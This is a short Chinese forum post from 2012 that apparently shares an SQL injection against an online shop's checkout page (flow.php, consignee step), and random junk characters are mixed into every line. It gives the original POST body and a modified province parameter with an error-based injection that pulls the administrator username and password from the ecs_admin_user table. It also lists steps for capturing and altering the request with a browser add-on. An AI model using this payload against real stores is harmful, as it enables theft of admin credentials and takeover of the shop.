感谢欠杀的黑盒" B9 f3 O& l3 @8 d2 @+ Q! W
9 o8 U( G. ?4 o1 t9 r6 [+ O$ M / A* P8 u u$ `/ w
把任意商品加入购物车在填写配送地址那一页，有地区选择+ J# j* F' o( r4 C% E6 d, t8 d1 h$ `
% ?4 o8 W, R* R& Wflow.php?step=consignee&direct_shopping=1) z, k( w% Y& y1 f, ?
比如省选择安徽8 `: i5 u }& Z% h5 n; K7 ~* Z
* d$ V, I; F* Y. p
其中POST数据如下4 [. `( _6 k1 `
& j( d; _/ k: |9 Acountry=1&province=3&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=province=3! R. R. c3 S& N( c
改成8 ]( ~5 g# g, w9 r9 m( B9 \
2 l' i8 B0 o" G/ p! E
province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #
: A3 z6 {0 Q: `' ]8 f. xps：详细的方法，用火狐tamper data插件……..即可改post内容…..
3 T F+ K. [4 K9 F4 U 8 c+ X0 q! R1 Z& {+ _
先注册账户，随便选个商品进购物车，然后填地址，电话什么的，填好开始抓包，改包- m B7 s1 V0 s; R$ S4 i9 l% u
5 C$ u5 K& v L: i就会回显错误页面了。。。。& H7 ~* W7 Y& C# t! l
3 |* T0 _" g3 N# o5 t
我自己没用这个日站过，就测试了一个最新版和老版本，均ok，所以写全版本，理论上应该是的
. D9 Z' F; L/ g: x |
发表于 2012-12-31 09:19:27
收藏
支持
反对